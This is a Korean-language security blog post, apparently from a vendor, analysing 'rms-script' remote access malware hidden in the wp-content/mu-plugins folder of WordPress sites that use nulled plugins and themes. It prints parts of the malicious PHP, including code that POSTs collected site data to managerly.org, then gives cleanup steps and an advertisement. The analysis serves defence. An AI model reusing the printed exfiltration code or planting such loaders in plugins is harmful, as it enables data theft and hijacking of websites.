최근 일부 워드프레스 웹사이트에서 외부 사이트에 원격 접속 권한을 넘겨주는 원격 접속 악성코드(remote access malware)가 발견되었습니다. 흥미로운 점은 이 악성코드가 wp-content/mu-plugins 폴더 안의 무작위 PHP 파일에 숨겨져 있었다는 사실입니다. 더욱 심각한 것은, 인기 있는 무료 워드프레스 보안 플러그인으로 사이트를 검사해도 어떠한 이상 징후도 감지되지 않았다는 것입니다. 이 글에서는 해당 악성코드의 작동 방식과 위험성, 그리고 확실한 대처 방법까지 자세히 살펴보겠습니다.
rms-script 악성코드의 작동 방식
감염 초기에는 워드프레스 사이트에 낯선 오류 메시지가 표시되는 것처럼 보입니다. 이 오류는 원격 접속 악성코드에 의해 발생하며, 출처를 추적해 보면 wp-content/mu-plugins 폴더 내의 수상한 PHP 파일들로 연결됩니다.
문제는 사이트에 대한 악성코드 검사를 수행한 후에도 이 원격 접속 악성코드의 흔적이 전혀 발견되지 않는다는 점입니다. 하지만 PHP 파일을 직접 분석한 결과, 코드가 외부 사이트인 managerly.org에 원격 로그인 권한을 넘겨주고 있다는 사실이 확인되었습니다.
악성코드 심층 분석
사이트에 설치된 플러그인 중 수상한 PHP 파일(rms-script-mu-plugin.php, rms-script-ini.php)을 참조하는 요소를 조사한 결과, 크랙된(불법 복제된) 플러그인에 이 악성코드가 포함되어 있을 가능성이 높은 것으로 나타났습니다. 실제로 샘플 사이트의 Divi 테마 폴더(널드 버전 사용)에서도 이 파일들의 흔적이 발견되었으며, 해당 폴더를 삭제하자 스크립트 실행이 중단되었습니다.
다음은 두 개의 악성 PHP 스크립트를 호출하는 크랙 플러그인 코드의 일부입니다.
require_once('rms-script-ini.php');
rms_remote_manager_init(__FILE__, 'rms-script-mu-plugin.php', false, false);
이어지는 코드 스니펫은 다음과 같습니다.
$GLOBALS['rms_report_to'] = 'https://managerly.org/wp-admin/admin-ajax.php';
$args=
[
'method' => 'POST',
'timeout' => 15,
'redirection' => 15,
'headers' => ['Referer'=>$connect_to, 'User-Agent'=>$_SERVER['HTTP_USER_AGENT']],
'body' => $body
];
// Send to RMS
$curl = new Wp_Http_Curl();
$result=$curl->request($connect_to, $args);
$result=(is_array($result) && isset($result['body'])) ? json_decode($result['body'], true) : null;
이 코드는 사이트에 있는 데이터를 수집해 외부 사이트로 전송하는 역할을 합니다. 즉, 여러분의 데이터를 managerly.org로 전송하는 원격 접속 악성코드인 셈입니다. 이는 매우 치명적인 피해를 초래할 수 있으며, 자세한 내용은 다음 섹션에서 다룹니다.
managerly.org에 대한 추가 조사 결과는 다음과 같습니다.
- 등록 기관: Wuxi Yilian LLC
- 등록 지역/주: Fujian(푸젠)
- 등록 국가: CN(중국)
- 네임 서버: LARS.NS.CLOUDFLARE.COM, ASHLEY.NS.CLOUDFLARE.COM
- DNSSEC: 미서명(unsigned)
등록 기관 이름을 검색하면 Reddit 게시글에서도 수많은 관련 언급을 찾을 수 있습니다. 이 LLC는 허위 업체로 추정되며, 다른 사기 행위에도 관여하고 있을 가능성이 높습니다.
이 악성코드가 위험한 이유
원격 접속 악성코드 공격이 성공하면 공격자는 여러분의 웹사이트에 접근해 악의적인 목적으로 활용할 수 있습니다. 사이트에 대한 통제권을 잃을 수 있으며, 민감한 정보가 공격자에게 노출될 위험도 있습니다.
특히 이번 사례에서 공격자들은 rms-script 원격 접속 악성코드를 통해 워드프레스 계정 정보를 탈취하려 하고 있습니다. 이 해킹 기법은 비밀번호를 변경하더라도 웹사이트 보안을 우회할 가능성이 있습니다.
주의할 점은, 무료 보안 도구로는 이 악성코드를 탐지하지 못하기 때문에 재감염 가능성이 매우 높다는 것입니다. 따라서 웹사이트를 철저히 점검해 수상한 파일이 있는지 확인하고, 가능하다면 사이트 보안을 강화하시기 바랍니다.
wp-content/mu-plugins 폴더와, 설치되어 있다면 Divi 테마 폴더 안에 악성 PHP 파일이 없는지 반드시 확인하세요.
워드프레스 사이트 복구 방법
1. 정리 작업 전 사이트 백업
복구 작업 중 사용자가 감염된 페이지에 접속하지 않도록 사이트를 오프라인 상태로 전환하는 것이 좋습니다. 핵심 파일과 데이터베이스 전체를 백업하고, .zip 같은 압축 파일 형식으로 저장하세요.
2. 널드 또는 크랙 플러그인 완전 제거
많은 플러그인과 테마, 특히 Divi 테마의 크랙 버전이나 널드 버전에 이 원격 접속 악성코드가 포함되어 있는 것으로 확인되었습니다. 널드 또는 크랙 플러그인과 테마를 모두 제거한 후 악성코드 검사를 실행하세요. 정품 플러그인과 테마만 사용하고 지속적으로 업데이트하여 사이트가 취약해지지 않도록 유지하는 것이 중요합니다.
3. 의심스러운 폴더와 파일 삭제
사이트 내 잠재적으로 악성일 수 있는 파일을 찾아 모두 삭제하세요.
관련 가이드 – 워드프레스 악성코드 제거 방법
4. 악성코드 검사 실행
악성코드는 끊임없이 진화하지만, 악성코드 스캐너 역시 함께 발전하고 있습니다. 웹 서버에서 악성코드와 악성 파일을 검사하는 것은 항상 좋은 습관입니다. 호스팅 업체가 제공하는 cPanel의 'Virus Scanner' 도구를 활용하거나, Astra Pro 플랜의 전문가 악성코드 클린업 서비스를 이용할 수 있습니다. Astra의 악성코드 스캐너는 악성 PHP 파일을 즉시 탐지합니다.
결론: wp-content/mu-plugins 원격 접속 악성코드 대응
이번에 발견된 원격 접속 악성코드는 주로 널드 버전이나 크랙 버전의 플러그인을 사용하는 워드프레스 사이트에서 발견되었습니다. 많은 인기 악성코드 스캐너가 이 악성코드를 탐지하지 못했지만, 스캐너들은 지속적으로 업데이트되고 있으므로 사이트가 감염되었을 가능성이 의심된다면 검사를 실행해 보는 것이 좋습니다. 무엇보다 정품 플러그인과 테마만 사용하고 항상 최신 버전으로 유지하는 것이 사이트 보안을 지키는 가장 확실한 방법입니다.
Astra 소개
Astra는 해커, 인터넷 위협, 봇으로부터 웹사이트를 보호하는 필수 웹 보안 솔루션입니다. WordPress, OpenCart, Magento 등 주요 CMS로 운영되는 웹사이트에 선제적 보안 서비스를 제공합니다. 저희 기술 지원팀은 연중무휴 24시간 대기하며 해킹 및 악성코드 감염과 관련한 모든 문의에 신속하게 대응해 드립니다.